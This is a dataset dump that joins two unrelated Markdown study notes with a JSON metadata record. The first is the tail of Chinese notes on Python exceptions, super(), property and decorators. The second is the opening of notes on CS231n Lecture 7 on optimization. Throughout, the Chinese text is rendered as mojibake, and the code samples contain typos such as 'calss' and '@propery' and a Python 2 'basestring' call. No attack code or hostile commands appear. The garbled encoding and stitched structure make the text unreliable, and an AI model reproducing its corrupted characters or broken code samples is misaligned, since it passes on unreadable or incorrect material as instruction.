ๆ“ไฝœ็ณป็ปŸไธ่ƒฝๆ‰ง่กŒๆŒ‡ๅฎš็š„ไปปๅŠก๏ผˆๅฆ‚ๆ‰“ๅผ€ๆ–‡ไปถ๏ผ‰ๆ—ถๅผ•ๅ‘๏ผŒๆœ‰ๅคšไธชๅญ็ฑป |\n| `IndexError` | ไฝฟ็”จๅบๅˆ—ไธญไธๅญ˜ๅœจ็š„็ดขๅผ•ๆ—ถๅผ•ๅ‘๏ผŒไธบ `LookupError` ็š„ๅญ็ฑป |\n| `KeyError` | ไฝฟ็”จๆ˜ ๅฐ„ไธญไธๅญ˜ๅœจ็š„้”ฎๆ—ถๅผ•ๅ‘๏ผŒไธบ `LookupError` ็š„ๅญ็ฑป |\n| `NameError` | ๆ‰พไธๅˆฐๅ็งฐ๏ผˆๅ˜้‡๏ผ‰ๆ—ถๅผ•ๅ‘ |\n| `SyntaxError` | ไปฃ็ ไธๆญฃ็กฎๆ—ถๅผ•ๅ‘ |\n| `TypeError` | ๅฐ†ๅ†…็ฝฎๆ“ไฝœๆˆ–ๅ‡ฝๆ•ฐ็”จไบŽ็ฑปๅž‹ไธๆญฃ็กฎ็š„ๅฏน่ฑกๆ—ถๅผ•ๅ‘ |\n| `ValueError` | ๅฐ†ๅ†…็ฝฎๆ“ไฝœๆˆ–ๅ‡ฝๆ•ฐ็”จไบŽ่ฟ™ๆ ท็š„ๅฏน่ฑกๆ—ถๅผ•ๅ‘๏ผšๅ…ถ็ฑปๅž‹ๆญฃ็กฎไฝ†ๅŒ…ๅซ็š„ๅ€ผไธๅˆ้€‚ |\n| `ZeroDivisionError` | ๅœจๅ‡บๅ‘ๆˆ–ๆฑ‚ๆจก่ฟ็ฎ—็š„็ฌฌไบŒไธชๅ‚ๆ•ฐไธบ้›ถๆ—ถๅผ•ๅ‘ |\n\n- ไนŸๅฏไปฅ่‡ชๅฎšไน‰ๅผ‚ๅธธ็ฑป๏ผŒไฝ†ๅŠกๅฟ…็›ดๆŽฅๆˆ–้—ดๆŽฅๅœฐ็ปงๆ‰ฟ `Exception`ใ€‚\n\n ๅฆ‚๏ผš\n\n ```python\n calss SomeCustomException(Exception): pass\n ```\n\n\n\n### ๆ•่Žทๅผ‚ๅธธ\n\n- ๅผ‚ๅธธไปŽๅ‡ฝๆ•ฐๅ‘ๅค–ไผ ๆ’ญๅˆฐ่ฐƒ็”จๅ‡ฝๆ•ฐ็š„ๅœฐๆ–น๏ผŒๅผ‚ๅธธไผšๅ‘็จ‹ๅบ็š„ๆœ€้กถๅฑ‚ไผ ๆ’ญใ€‚\n\n- ๅฆ‚ๆžœๆƒณโ€œๆŠ‘ๅˆถโ€ๅผ‚ๅธธ็š„ไผ ๆ’ญ็š„่ฏ๏ผŒ`try/except` ่ฏญๅฅๅœจๅผ‚ๅธธๆ—ถๆ˜ฏๆ‰“ๅฐ้”™่ฏฏๆถˆๆฏๅณๅฏใ€‚\n\n- ่‹ฅๆƒณๅผ‚ๅธธๅŽ็ปง็ปญๅ‘ไธŠไผ ๆ’ญ๏ผŒๅฐฑๅฏไปฅๅœจๅผ‚ๅธธๆ—ถๆ‰ง่กŒไธๅธฆๅ‚ๆ•ฐ็š„ `raise` ๅณๅฏใ€‚\n\n- ๅธฆๅ…ถไป–ๅผ‚ๅธธ็ฑปๅ‚ๆ•ฐ็š„ `raise` ๆ˜ฏๅฐ†่ฟ›ๅ…ฅ `except` ๅญๅฅ็š„ๅผ‚ๅธธไฝœไธบ**ไธŠไธ‹ๆ–‡**ๆ˜พ็คบๅ‡บๆฅใ€‚ๅฆ‚ๆžœๆƒณ็ฆ็”จไธŠไธ‹ๆ–‡๏ผŒไฝฟ็”จ `raise ... from โ€ฆ` ่ฏญๅฅๅ’Œ็”จ `None` ๅณๅฏใ€‚\n\n ```python\n try:\n x = int(input('Enter the first number: '))\n y = int(input('Enter the second number: '))\n print(x/y)\n except (TypeError, NameError) as e:\t\t# ๅŒๆ—ถๆ•่Žทไธค็งๅผ‚ๅธธ๏ผŒไธๅ‘ไธŠไผ ๆ’ญ๏ผŒไฝ†ไผšๆ‰“ๅฐๅผ‚ๅธธ e\n print('Your numbers were bogus...')\n print(e)\n except ZeroDivisionError: \t\t\t\t# ๆ•่Žท ZeroDivisionError ๅผ‚ๅธธ\n print(\"Division by zero is illegal!\")\n raise ValueError from None\t\t\t# ไป…ๆ˜พ็คบ ValueError ๅผ‚ๅธธ\n print(\"You can't see me!\")\t\t\t# ่ขซๅฟฝ็•ฅไบ†\n ```\n\n- ไธ€็ฝ‘ๆ‰“ๅฐฝ็š„ๆ•่Žทๆ‰€ๆœ‰ๅผ‚ๅธธ๏ผˆ`except` ่ฏญๅฅไธๅธฆไปปไฝ•ๅ‚ๆ•ฐ๏ผ‰ๆ˜ฏ้žๅธธๅฑ้™ฉ็š„ใ€‚ไธŽไน‹็›ธๆฏ”๏ผŒๆ›ดๅฅฝ็š„้€‰ๆ‹ฉๆ˜ฏ๏ผš`except Exception as e` ๅนถๅฏนๅผ‚ๅธธ(e)่ฟ›่กŒๆฃ€ๆŸฅใ€‚\n\n- ๆญ้… `else` ่ฏญๅฅไผšๅพˆๅธ…๏ผŒ็ฑปไผผไบŽๆกไปถ่ฏญๅฅๅ’Œๅพช็Žฏไธ€ๆ ทใ€‚\n\n ```python\n while True:\n try:\n x = int(input('Enter the first number: '))\n y = int(input('Enter the second number: '))\n \t\tprint('x/y is', x/y)\n \texcept Exception as e:\n print('Invalid input:', e)\n print('Please try again!')\n \telse:\t\t\t\t\t\t\t# ๅฝ“ try ็š„ๅญๅฅ้‡Œๆฒกๆœ‰ๅผ‚ๅธธๆ‰ๆ‰ง่กŒไธ‹้ข\n break\n ```\n\n- ๅฆๆœ‰๏ผŒ`finally` ่ฏญๅฅ๏ผŒๆš‚็•ฅใ€‚ใ€‚ใ€‚\n\n- ๅœจๅ‡ฝๆ•ฐๅ†…ไฝฟ็”จๅผ‚ๅธธๅค„็†ๅพˆๅฅฝ็”จ๏ผŒๅฏไปฅ้ฟๅ…ๅผ‚ๅธธ่ขซไธๆ–ญ็š„ๅ‘ไธŠไผ ๆ’ญๅˆฐไธป็จ‹ๅบ๏ผˆๅ…จๅฑ€ไฝœ็”จๅŸŸ๏ผ‰ไธŠ่ขซๅค„็†ใ€‚\n\n- ๅพˆๅคšๆ—ถๅ€™๏ผŒ็›ธๆฏ”ไบŽไฝฟ็”จ `if/else`๏ผŒไฝฟ็”จ `try/except` ่ฏญๅฅๆ›ด่‡ช็„ถ๏ผŒไนŸๆ›ด็ฌฆๅˆ Python ็š„ไน ๆƒฏใ€‚\n\n- ่ญฆๅ‘Š็ฑปไผผไบŽๅผ‚ๅธธ๏ผŒไฝ†๏ผˆ้€šๅธธ๏ผ‰ๅชๆ‰“ๅฐไธ€ๆก้”™่ฏฏไฟกๆฏใ€‚ๅฎƒไปฌ้ƒฝๅœจๆจกๅ— `warnings` ็š„ๅญ็ฑปไธญใ€‚\n\n\n\n\n\n## ็ฌฌ9็ซ  ้ญ”ๆณ•ๆ–นๆณ•ใ€็‰นๆ€งๅ’Œ่ฟญไปฃๅ™จ\n\n\n\n### ๆž„้€ ๅ‡ฝๆ•ฐ\n\n- ๆ‰€่ฐ“ๆž„้€ ๅ‡ฝๆ•ฐ๏ผˆconstructor๏ผ‰ๅฐฑๆ˜ฏๅœจๅฏน่ฑกๅˆ›ๅปบๅŽไผš่‡ชๅŠจ่ฐƒ็”จ็š„ๅˆๅง‹ๅŒ–ๆ–นๆณ•๏ผŒๅ‘ฝๅไธบ `__init__`ใ€‚\n\n- ่ถ…็ฑปๅ’Œๅญ็ฑปๅœจ็ปงๆ‰ฟๅ’Œ้‡ๅ†™ๆ—ถ๏ผŒๅฆ‚ไฝ•่ฎฉๅ„่‡ช็š„ๅˆๅง‹ๅŒ–ๆ–นๆณ•ไธไผšๅ‘็”Ÿๅ†ฒ็ชๅ’Œ้‡ๅ†™ๅ‘ข๏ผŸๆœ‰ไธค็งๅŠžๆณ•๏ผš\n\n 1. ๅœจๅญ็ฑปไธญ่ฐƒ็”จๆœชๅ…ณ่”ๅฎžไพ‹็š„่ถ…็ฑปๆž„้€ ๅ‡ฝๆ•ฐใ€‚๏ผˆๆ—งๅผ๏ผ‰\n\n ```python\n class SongBird(Bird):\n \tdef __init__(self):\n Bird.__init__(self)\t# ็”จ่ถ…็ฑป Bird ๅ…ณ่”ๅนถๆ— ๅฎžไพ‹ๅ…ณ่”๏ผŒself ไปๆ˜ฏๅญ็ฑป็š„ๅฝ“ๅ‰ๅฎžไพ‹\n self.sound = 'Squawk!'\n \tdef sing(self):\n print(self.sound)\n ```\n\n 2. ไฝฟ็”จๅ‡ฝๆ•ฐ `super`ใ€‚๏ผˆๆ–ฐๅผ๏ผ‰\n\n ```python\n class SongBird(Bird):\n \tdef __init__(self):\n \t\tsuper().__init__()\t# ่ฐƒ็”จ่ถ…็ฑป(Bird)็š„ๆ–นๆณ•\n self.sound = 'Squawk!'\n \tdef sing(self):\n print(self.sound)\n ```\n\n - โ€‹\tๅณไฝฟๆœ‰ๅคšไธช่ถ…็ฑป๏ผŒไนŸๅช้œ€่ฐƒ็”จๅ‡ฝๆ•ฐ `super` ไธ€ๆฌก๏ผˆๆกไปถๆ˜ฏๆ‰€ๆœ‰็š„่ถ…็ฑป็š„ๆž„้€ ๅ‡ฝๆ•ฐไนŸไฝฟ็”จๅ‡ฝๆ•ฐ `super`๏ผŒๅฆ‚ไธ‹ๆ‰€็คบ๏ผš๏ผ‰ใ€‚ๅ‡ฝๆ•ฐ `super` ๅฐฑๅƒๆ˜ฏๆ‰“ไบ†ไธชโ€œไนฆ็ญพๆ ‡่ฎฐโ€๏ผŒๅƒๆ˜ฏ่กจ็คบโ€œๅฏ่ขซๅฏปๅ€่งฃๆžโ€ใ€‚ๅฆ‚ๆžœๅญ็ฑป็š„่ถ…็บง็ฑป้‡ŒๆŽ’ๅบ๏ผˆ1, 2, 3๏ผ‰ไธญ๏ผŒๅ‡่ฎพ๏ผˆ1๏ผŒ2๏ผ‰ๆ‰“ไบ†ๆ ‡็ญพ๏ผŒๅˆ™ 3 ไนŸไผš่ขซๅฏปๅ€๏ผ›ๅ‡่ฎพๅชๆœ‰๏ผˆ1๏ผ‰ๆ‰“ไบ†ๆ ‡็ญพ๏ผŒๅˆ™ 2 ไผš่ขซๅฏปๅ€๏ผŒ3ๅˆ™ไธไผš๏ผ›ๅ‡่ฎพ้ƒฝๆœชๆ‰“ๆ ‡็ญพ๏ผŒๅˆ™ๅชๆœ‰ 1 ไผš่ขซๅฏปๅ€ใ€‚<u>ๆฒกไบ‹ๅนฒ็š„่ฏ๏ผŒ่ฟ˜ๆ˜ฏ็ปŸ็ปŸ้ƒฝๆ‰“ไธŠๆ ‡็ญพไธบๅฅฝใ€‚</u>\n\n ```python\n class Bird:\n def __init__(self):\n super().__init__()\n self.hungry = True\n def eat(self):\n if self.hungry: print('Aaaah ...')\n \n class SongBird:\n def __init__(self):\n super().__init__()\n self.sound = 'Squawk!'\n def sing(self):\n print(self.sound)\n \n class JumpBird:\n def __init__(self):\n super().__init__()\n self.jump = 'Sooooo!'\n def act(self):\n print(self.jump) \n \n class Play(SongBird,JumpBird,Bird):\n def __init__(self):\n super().__init__()\n pass\n ```\n\n - ๅ‡ฝๆ•ฐ `super` ่ฟ”ๅ›ž็š„ๆ˜ฏไธ€ไธช `super` ๅฏน่ฑก๏ผŒ่ฏฅๅฏน่ฑกๅฐ†่ดŸ่ดฃไธบไฝ ๆ‰ง่กŒๆ–นๆณ•่งฃๆžใ€‚ๅฝ“่ฎฟ้—ฎๅฎƒ็š„ๅฑžๆ€งๆ—ถ๏ผŒๅฎƒๅฐ†ๅœจๆ‰€ๆœ‰็š„่ถ…็ฑป๏ผˆไปฅๅŠ่ถ…็ฑป็š„่ถ…็ฑป๏ผŒ็ญ‰็ญ‰๏ผ‰๏ผŒ็›ดๅˆฐๆ‰พๅˆฐๆŒ‡ๅฎš็š„ๅฑžๆ€งๆˆ–ๅผ•ๅ‘ `AttributeError` ๅผ‚ๅธธใ€‚\n\n \n\n \n\n### ๅ…ƒ็ด ่ฎฟ้—ฎ\n\n- `__len__(self)`\n- `__getitem__(self, key)`\n- `__setitem__(self, key, value)`\n- `__delitem__(self, key)`\n\n๏ผˆๆš‚็•ฅ๏ผ‰\n\n \n\n### ๅ…ถไป–้ญ”ๆณ•ๆ–นๆณ•\n\n- ็‰นๆ€ง `property` ๆ˜ฏ้€š่ฟ‡ๅญ˜ๅ–ๆ–นๆณ•ๅฎšไน‰็š„ๅฑžๆ€งใ€‚\n\n- ็‰นๆ€งๅ‡ฝๆ•ฐ `property(fget, fset, fdel, doc)`\n\n ```python\n class Rectangle:\n def __init__(self):\n self.width = 0\n self.height = 0\n \tdef set_size(self, size):\n self.width, self.height = size\n \tdef get_size(self):\n return self.width, self.height\n size = property(get_size, set_size)\n ```\n > ไนฆไธญๅฑ…็„ถๆฒกๆœ‰ๅฅฝๅฅฝ่ฎฒ่ฃ…้ฅฐๅ™จๅ’Œ็‰นๆ€ง่ฃ…้ฅฐๅ™จใ€‚ใ€‚ใ€‚\n >\n > ๅ‚่€ƒๆ–‡็Œฎ๏ผš[ๅป–้›ชๅณฐ-่ฃ…้ฅฐๅ™จ](https://www.liaoxuefeng.com/wiki/0014316089557264a6b348958f449949df42a6d3a2e542c000/0014318435599930270c0381a3b44db991cd6d858064ac0000)๏ผŒ[ๅป–้›ชๅณฐ-@property](https://www.liaoxuefeng.com/wiki/0014316089557264a6b348958f449949df42a6d3a2e542c000/00143186781871161bc8d6497004764b398401a401d4cce000)\n\n- ๅœจไปฃ็ ่ฟ่กŒๆœŸ้—ดๅŠจๆ€ๅขžๅŠ ๅŠŸ่ƒฝ็š„ๆ–นๅผ๏ผŒ็งฐไน‹ไธบโ€œ่ฃ…้ฅฐๅ™จโ€๏ผˆDecorator๏ผ‰๏ผŒๆœฌ่ดจๆ˜ฏไธ€ไธช่ฟ”ๅ›žๅ‡ฝๆ•ฐ็š„้ซ˜้˜ถๅ‡ฝๆ•ฐใ€‚ๅคš่ฏดๆ— ็›Š๏ผŒๅ…ถๅฎžไธๅคชๅฅฝๆ‡‚๏ผŒไธ‹้ขๆ˜ฏไธ€ไธช่‡ชๅทฑๅฎšไน‰็š„ๆ—ฅๅฟ—่ฃ…้ฅฐๅ™จ๏ผŒๅฏไปฅไฝœ็”จๅœจไปปไฝ•ๅ‡ฝๆ•ฐไธŠ๏ผŒๅนถๆ‰“ๅฐ่ฏฅๅ‡ฝๆ•ฐ็š„่€—่ดนๆ—ถ้—ดๅ’Œๆ‰ง่กŒๆ—ถ้—ด๏ผš\n\n ```python\n import functools, time\n from inspect import isfunction\n \n def log(*args):\n def decorator(func):\n @functools.wraps(func)\n def wrapper(*func_args, **kwargs):\n start = time.time() #ๆ‰ง่กŒๅ‰่ฎกๆ—ถ\n fn = func(*func_args, **kwargs) #ๆ‰ง่กŒๅ‡ฝๆ•ฐ\n end = time.time() #ๆ‰ง่กŒๅŽ่ฎกๆ—ถ\n print('{} executed in {:.2f}ms, finished {}'.format(func.__name__, \n 1000*(end-start),\n time.asctime()))\n return fn\n return wrapper\n \n if isfunction(args[0]):\t\t# ๅˆคๆ–ญๆ˜ฏๅฆๆœ‰ๅ‚ๆ•ฐ๏ผŒ้ป˜่ฎคๆ— ๅ‚ๆ•ฐ\n return decorator(args[0])\n else:\t\t\t\t\t\t# ่‹ฅๆœ‰ๅ‚ๆ•ฐ๏ผŒๅฏไปฅ่ฟ›ไธ€ๆญฅไธฐๅฏŒ่ฟ™ไธช่ฃ…้ฅฐๅ™จ็š„ๅŠŸ่ƒฝ\n return decorator\n \n >>> @log\n >>> def now(value = 30):\n >>> \tprint('YESSSSSS', value)\n >>> \treturn value+3\n >>> now()\n ```\n\n - ๆŒ‡ๅฎšๅคšไธช่ฃ…้ฅฐๅ™จๆ—ถ๏ผŒๅบ”็”จ็š„้กบๅบไธŽๅˆ—ๅ‡บ็š„้กบๅบ็›ธๅใ€‚\n\n- ็‰นๆ€ง่ฃ…้ฅฐๅ™จ `@property`ใ€‚ไน ๆƒฏไบ†้ซ˜็บง่ฏญ่จ€็š„ไธฅ่ฐจ๏ผŒๆ€ปๆƒณๅฏนๅฑžๆ€งๅŠ ไปฅ่ฎฟ้—ฎๆŽงๅˆถ๏ผŒ็›ธๅฏนๅฎ‰ๅ…จไบ›๏ผŒๆฏ”ๅฆ‚็›ดๆŽฅๅœจ`__init__`ไธญๅฎšไน‰ๅ…ฌ็”จๅฑžๆ€ง๏ผŒไปŽๅฐ่ฃ…ๆ€งๆฅ่ฏด๏ผŒๅฎƒๆ˜ฏไธๅฅฝ็š„ๅ†™ๆณ•ใ€‚ ๅฑžๆ€งไน‹่ฎฟ้—ฎ๏ผŒๅฎƒไบฆๆœ‰ๆœบๅˆถ๏ผŒๅ…ถไธ€ไพฟๆ˜ฏ`@propery`ๅ…ณ้”ฎๅญ—ใ€‚็”จๆญคๅ…ณ้”ฎๅญ—๏ผŒๅ…ถ่Žทๅ–ใ€่ฎพ็ฝฎๅ‡ฝๆ•ฐ๏ผŒ้กปไธŽๅฑžๆ€งๅไธ€่‡ดใ€‚`@property`ๅฏไปฅๆŠŠไธ€ไธชๅฎžไพ‹ๆ–นๆณ•ๅ˜ๆˆๅ…ถๅŒๅๅฑžๆ€ง๏ผŒไปฅๆ”ฏๆŒ.ๅท่ฎฟ้—ฎ๏ผŒๅฎƒไบฆๅฏๆ ‡่ฎฐ่ฎพ็ฝฎ้™ๅˆถ๏ผŒๅŠ ไปฅ่ง„่Œƒ๏ผŒๅฆ‚ไธ‹ไปฃ็ ๏ผš\n\n ```python\n class Animal(object):\n def __init__(self, name, age):\n self._name = name\n self._age = age\n self._color = 'Black'\n \n @property\n def name(self):\n return self._name\n \n @name.setter\n def name(self, value):\n if isinstance(value, basestring):\n self._name = value\n else:\n self._name = 'No name'\n \n @property\n def age(self):\n return self._age\n \n @age.setter\n def age(self, value):\n if value > 0 and value < 100:\n self._age = value\n else:\n self._age = 0\n # print 'invalid age value.'\n \n @property\n def color(self):\n return self._color\n \n @color.setter\n def color(self, value):\n self._color = value;\n ```\n\n ๅ…ณไบŽ `@property` ็š„็”จๆณ•ๅง‹็ปˆๆ€ปๆœ‰็ง็Ÿฅๅ…ถ็„ถไธ็Ÿฅๅ…ถๆ‰€ไปฅ็„ถ็š„ๆ„Ÿ่ง‰ใ€‚ไปŽๅ„็ฑปๆ•™็จ‹็œ‹่ฟ‡ๆฅ๏ผŒๅŸบๆœฌๅฏไปฅ็Ÿฅๆ™“ `@prperty` ไธ‹้ขๅ›บๅฎš็ดง่ทŸๅฑžๆ€ง็š„ๆ–นๆณ•๏ผŒๅฎšไน‰็š„ๆ–นๅผไนŸๆ˜ฏๅ›บๅฎš็š„ๅฝขๅผ๏ผŒๅ‡ฝๆ•ฐ็š„ๅ็งฐๅฐฑๆ˜ฏ็ฑปๅฑžๆ€งๅ็งฐ๏ผŒๅฎžไพ‹ๅ…ณ่”็š„ๅฏนๅบ”ๅฑžๆ€งๅ็งฐๅ‰่ฆๅŠ ไธŠไธ€ไธช `_` ไธ‹ๅˆ’็บฟไปฅ็คบ้š่—๏ผŒ่ฏฅๅ‡ฝๆ•ฐๅฐฑ่กจ็คบๅฏน่ฏฅๅฑžๆ€ง็š„ๆๅ–๏ผˆ่ฏปๅ–๏ผ‰๏ผŒๆœ€ๅŽๅˆซๅฟ˜ไบ† `return ` ๅ‡บๆฅใ€‚้™คไบ†\"ๅฏ่ฏป\"ๅค–๏ผŒ่ฟ˜ๅฏไปฅๅฏ้€‰็š„ๅฎšไน‰\"ๅฏๅ†™\"่ฏฅๅฑžๆ€ง็š„ๆ–นๆณ•๏ผŒ้‚ฃๅฐฑๆ˜ฏๅœจ `@property` ๅฏนๅบ”ไธ‹้ขไปปไฝ•ไฝ็ฝฎๅค„ๅฎšไน‰็›ธๅบ”็š„ `@[ๅฑžๆ€งๅ].setter` ่ฃ…้ฅฐๅ™จๅ’Œ่ฏฅๅฑžๆ€ง็š„ๅ†™ๅ…ฅๆ–นๆณ•ๅ‡ฝๆ•ฐ๏ผŒๅ็งฐไพๆ—งๆ˜ฏ็ฑปๅฑžๆ€ง็š„ๅๅญ—ใ€‚\n\n\n\n### ่ฟญไปฃๅ™จ๏ผˆๆš‚็•ฅ๏ผ‰\n\n\n\n`__next__`\n\n`__iter__`\n\n\n\n### ็”Ÿๆˆๅ™จ๏ผˆๆš‚็•ฅ๏ผ‰\n\n- ๅŒ…ๅซ `yield` ่ฏญๅฅ็š„ๅ‡ฝๆ•ฐ้ƒฝ่ขซ็งฐไธบ็”Ÿๆˆๅ™จใ€‚\n\n\n\n\n\n## ็ฌฌ10็ซ  ๅผ€็ฎฑๅณ็”จ\n\n\n\n\n\n\n\n\n\n\n\n---\n\n[่ฟ”ๅ›žๅˆฐ้ฆ–้กต](../index.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./Beginning_Python.html)\n\n---\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>\n\n\n\n\n\n" }, { "alpha_fraction": 0.6913394331932068, "alphanum_fraction": 0.7574247717857361, "avg_line_length": 28.274471282958984, "blob_id": "55c87a937f68cb247134194b0ce7818bd3161b0e", "content_id": "714410ef5577bd845bc2e726e48d176e469cf8b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 26920, "license_type": "no_license", "max_line_length": 394, "num_lines": 521, "path": "/blog/cs231n/cs231n_7.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: CS231n Lecture.7\ndate: 2018-08-30\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html)\n\n---\n\n[TOC]\n\n> CS231n ่ฏพ็จ‹็š„ๅฎ˜ๆ–นๅœฐๅ€๏ผšhttp://cs231n.stanford.edu/index.html\n>\n> ่ฏฅ็ฌ”่ฎฐๆ นๆฎ็š„่ง†้ข‘่ฏพ็จ‹็‰ˆๆœฌๆ˜ฏ [Spring 2017](https://www.bilibili.com/video/av17204303/?p=16)(BiliBili)๏ผŒPPt ่ต„ๆบ็‰ˆๆœฌๆ˜ฏ [Spring 2018](http://cs231n.stanford.edu/syllabus.html).\n>\n> ๅฆๆœ‰่ฏฅ Lecture 7. ๆ‰ฉๅฑ•่ฎฒไน‰่ต„ๆ–™๏ผš\n>\n> - **Tips and tricks for tuning NNs** [slides](https://docs.google.com/presentation/d/183aCHcSq-YsaokZrqI3khuy_zPbehG-XgkyA6L5W4t4/edit?usp=sharing) (Discussion Section)\n> - [Neural Nets notes 3](http://cs231n.github.io/neural-networks-3/) ([ไธญ่ฏ‘็‰ˆ](./CS231n_Neural_Nets_notes_3.html))\n> - [proposal description](http://cs231n.stanford.edu/project.html) (Project Proposal) ๆœ‰ๅพˆๅคšๅพˆไธ้”™็š„้กถไผš/้ข†ๅŸŸ/papers/datasets็ญ‰\n\n\n\n# Lecture 7. Training Neural Networks, part 2\n\n\n\n## More normalization (new topic in Spring 2018)\n\n### Batch Normalization\n\n### Batch Normalization for ConvNets\n\n### Layer Normalization\n\n### Instance Normalization\n\n### Group Normalization\n\n### Decorrelated Batch Normalization\n\n\n\n\n\n## Fancier optimization\n\nไน‹ๅ‰ๅญฆ็š„ SGD ไผ˜ๅŒ–็ฎ—ๆณ•ไผผไนŽๅพˆๅฎนๆ˜“็†่งฃ๏ผŒไฝ†ๆ˜ฏๅฎƒๆœ‰ๅพˆๅคš้—ฎ้ข˜๏ผš\n\n\n\n### Problems with SGD\n\n1. ๆŸๅคฑๅ‡ฝๆ•ฐๅฏนไบŽไธๅŒๅ‚ๆ•ฐๆขฏๅบฆ็š„ๆ•ๆ„Ÿ็จ‹ๅบฆๅทฎๅผ‚ๅพˆๅคง็š„่ฏ๏ผŒๆŸๅคฑๅ€ผ็š„ๅ˜ๅŒ–ๅœจ่ฟ™็งๆƒ…ๅ†ตไธ‹ไผš่กจ็Žฐๅพˆๅ๏ผš\n\n > Loss function has high **condition number**: ratio of largest to smallest singular value of the **Hessian** matrix is large. (ๆตทๆฃฎ็Ÿฉ้˜ตไธญๆœ€ๅคงๅฅ‡ๅผ‚ๅ€ผๅ’Œๆœ€ๅฐๅฅ‡ๅผ‚ๅ€ผไน‹ๆฏ”)\n\n ็›ด่ง‚ๆฅ็œ‹๏ผŒๆŸๅคฑๅ‡ฝๆ•ฐๅƒๆ˜ฏไธช็Ž‰็ฑณ๐ŸŒฝใ€‚ๆขฏๅบฆ็š„ๆ–นๅ‘ๅนถไธๆ˜ฏไธŽๅฑ€้ƒจๆœ€ๅฐๅ€ผ็š„็›ด็บฟ๏ผŒ่€Œๆ˜ฏ่ตฐ nasty zigzagging๏ผŒๆ‰€่ฐ“**ไน‹ๅญ—ๅฝข**่ฟๅŠจใ€‚ไบ‹ๅฎžไธŠ๏ผŒๅœจ้ซ˜็ปดๅ‚ๆ•ฐ็ฉบ้—ดไธญ๏ผŒ่ฟ™็งๆƒ…ๅ†ตๅพˆๆ™ฎ้ใ€‚\n\n ![](https://i.loli.net/2018/08/27/5b8401d7d3290.png)\n\n2. ๅญ˜ๅœจ**ๅฑ€้ƒจๆžๅฐๅ€ผ**ๆˆ–**้ž็‚น**๏ผˆ้žๅ‡ธไผ˜ๅŒ–้—ฎ้ข˜๏ผ‰ใ€‚\n\n - ๆขฏๅบฆไธ‹้™ไผš stuck ๅœจๅฑ€้ƒจๆžๅฐๅ€ผใ€‚\n\n ![](https://i.loli.net/2018/08/27/5b840313db264.png)\n\n - ๅœจ้ซ˜็ปดๅ‚ๆ•ฐ็ฉบ้—ดไธŠ๏ผŒ้ž็‚น่ฟœๆฏ”ๅฑ€้ƒจๆžๅฐๅ€ผ้บป็ƒฆ็š„ๅคšใ€‚่ฟ™ๆ„ๅ‘ณ็€ๅœจ้ž็‚นๅค„๏ผŒๆŸไบ›ๆ–นๅ‘ไธŠๆŸๅคฑไผšๅขžๅŠ ๏ผŒๆŸไบ›ๆ–นๅ‘ไธŠไผšๅ‡ๅฐใ€‚่ฟ™็งๆƒ…ๅ†ตๅœจ้ซ˜็ปดๅ‚ๆ•ฐ็ฉบ้—ดไธญไผšๅ‘็”Ÿๅพ—ๆ›ดๅŠ ้ข‘็น๏ผŒๅŸบๆœฌไธŠๅ‡ ไนŽๅœจไปปไฝ•็‚นไธŠ้ƒฝไผšๅ‘็”Ÿใ€‚็„ถ่€Œๅœจๅฑ€้ƒจๆžๅฐๅ€ผ็‚นไธŠ๏ผŒไปปไฝ•ไธ€ไธชๆ–นๅ‘ๅ‰่ฟ›ๆŸๅคฑ้ƒฝไผšๅ˜ๅคงใ€‚ไบ‹ๅฎžไธŠๅœจ่€ƒ่™‘่ฟ™็งๅพˆ้ซ˜็ปด็š„้—ฎ้ข˜ๆ—ถ๏ผŒ็œ‹่ตทๆฅไผผไนŽ่ฟ™็งๆƒ…ๅ†ต้žๅธธ็จ€ๅฐ‘ใ€‚\n\n - ๆœ‰ๆ—ถๅ€™้—ฎ้ข˜ๅนถ้žๆฐๅฅฝๅœจ้ž็‚นไธŠ๏ผŒไนŸๅฏ่ƒฝๅœจ้ž็‚น้™„่ฟ‘ใ€‚ๅ› ไธบๆขฏๅบฆๅฎžๅœจๅคชๅฐ๏ผŒๅญฆไน ็š„ๅ‰่ฟ›ไผš้žๅธธ็ผ“ๆ…ขใ€‚\n\n ![](https://i.loli.net/2018/08/27/5b84032545c86.png)\n\n ๆญคๅค„ๅฏๅผ•ไธ€็ฏ‡ paper๏ผšDauphin et al, โ€œIdentifying and attacking the saddle point problem in high-dimensional non-convex optimizationโ€, NIPS 2014\n\n3. **Stochastic**๏ผˆ้šๆœบๆ€ง๏ผ‰ๆ˜ฏ SGD ็š„ๅฆไธ€ไธช้—ฎ้ข˜ใ€‚\n\n ้€šๅธธๆˆ‘ไปฌๅนถไธไผšๅœจๅฎž่ทตไธญ็œŸ็š„ไธ€ไธชไธ€ไธชๅฎžไพ‹็š„ๆ‰”ๅˆฐ็ฝ‘็ปœไธญ่ท‘ๆŸๅคฑๅ€ผๅ’Œๆขฏๅบฆไผฐ่ฎก๏ผŒๆฏ•็ซŸๅคชๆ…ขไบ†~ ่€Œๆ˜ฏ้€šๅธธ็”จ mini-batch ๆ–นๆณ•ๆฅๅฏนๆขฏๅบฆ่ฟ›่กŒๆœ‰ๅ™ชๅฃฐไผฐ่ฎกใ€‚ๅฏไปฅๅฎž้ชŒ๏ผŒๅธฆๆœ‰ๅ‡ๅŒ€ๅ™ชๅฃฐ็š„ SGD ไผšๅฏนๅฝ“ๅ‰็š„้™„่ฟ‘ๆŸๅคฑ็ฉบ้—ด้€ ๆˆไธ€ๅฎšๆ‰ญๆ›ฒ๏ผŒไปŽ่€Œๅฏ่ƒฝๅฎž้™…ไธŠ้œ€่ฆ่Šฑ่ดนๅพˆ้•ฟๆ—ถ้—ดๆ‰่ƒฝๅพ—ๅˆฐๆžๅฐๅ€ผใ€‚\n\n- 